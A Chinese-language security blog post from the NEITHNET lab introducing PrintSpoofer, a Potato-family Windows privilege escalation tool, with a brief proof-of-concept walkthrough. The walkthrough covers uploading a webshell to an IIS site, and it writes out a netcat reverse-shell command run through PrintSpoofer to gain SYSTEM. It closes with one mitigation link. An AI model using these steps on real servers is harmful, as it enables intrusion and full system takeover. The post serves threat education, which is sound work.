淺談PrintSpoofer

NEITHNET 情資分享

NEITHNET 資安實驗室

  這次想介紹一下PrintSpoofer
  是Potato家族相關系列衍伸出來的提權工具。
  所謂的Hot Potato 相關的漏洞,在2016年時候,研究員Stephen Breen 發表的exploit code https://github.com/foxglovesec/Potato
  後續就算微軟修補後,也還是有新的potato產出。

下面是Potato家族相關的POC code年表:

  除了以上列出的還有很多族繁不及備載。

  potato 漏洞利用家族的主要是透過將 NTLM 驗證從某個 NT AUTHORITY\SYSTEM的process中繼到本地身份驗證AcceptSecurityContext(),從服務帳戶使用者(擁有 SeImpersonatePrivilege 或是 SeAssignPrimaryTokenPrivilege)取得高權限的存取權token。

  這次我們來分享一下PrintSpoofer,之前相關的像是JuicyPotato因為隨著windows的修補後,較新的windows版本就不能使用了,也是因為這些原因才會後續又產生出這麼多的變異Potato。

  使用方式其實不難,重點如上述所說,拿到有SeImpersonatePrivilege 或是SeAssignPrimaryTokenPrivilege的帳號,就可以利用工具拿到system權限。

  下面POC過程、工具都是網路上就搜尋的到的工具,來簡單的示範一下是如何拿到system權限。

PrintSpoofer POC

  首先我們要先找到一台有裝IIS,且具有上傳功能的頁面,並且上傳從網路上撿來的webshell。

  上傳成功之後連到webshell的位置,可以先看一下現在的帳號。

  以及確認所擁有的權限。

  可以確認有SeImpersonatePrivilege 且狀態是啟用中,接著來把要使用的PrintSpoofer.exe上傳上去。

  當你下-h指令 可以看到PrintSpoofer 有以下指令可以使用以及範例,其他更詳述的可以參考提供者的Github。

  在提權之前,因為我們需要先建立可以接收連回來的shell

  參考PrintSpoofer作者的Github POC使用情境可以使用第二種

  現在我們自己的機器上開啟一個nc的監聽模式,並且指定一個port。

  接著我們可以再次利用具有上傳功能的那一頁再把nc的檔案上傳上去

  輸入指令 C:\[path]\PrintSpoofer.exe -c “C:\[path]\nc.exe IP 5566 -e cmd.exe” 再送出就可以了

  接著,就能在這台機器上看到跳出shell

  再來,下whoami指令確認,就能看到確認為是system的使用者了。

  會造成上述形況是因為,SeImpersonatePrivilege 權限會預設包含IIS_IUSRS群組,如果想要來限制這部分權限的需求,可以參考這個網址:https://decoder.cloud/2020/12/14/hands-off-my-iis-accounts/

 相關參考資料:

   https://itm4n.github.io/printspoofer-abusing-impersonate-privileges

   https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all

   https://github.com/bodik/awesome-potatoes

   https://micahvandeusen.com/the-power-of-seimpersonation

 使用到的檔案來源:

   https://github.com/itm4n/PrintSpoofer

   https://github.com/Ignitetechnologies

   https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx

  更多資安訊息及防護策略,歡迎與NEITHNET資安專家聯繫:info@neithnet.com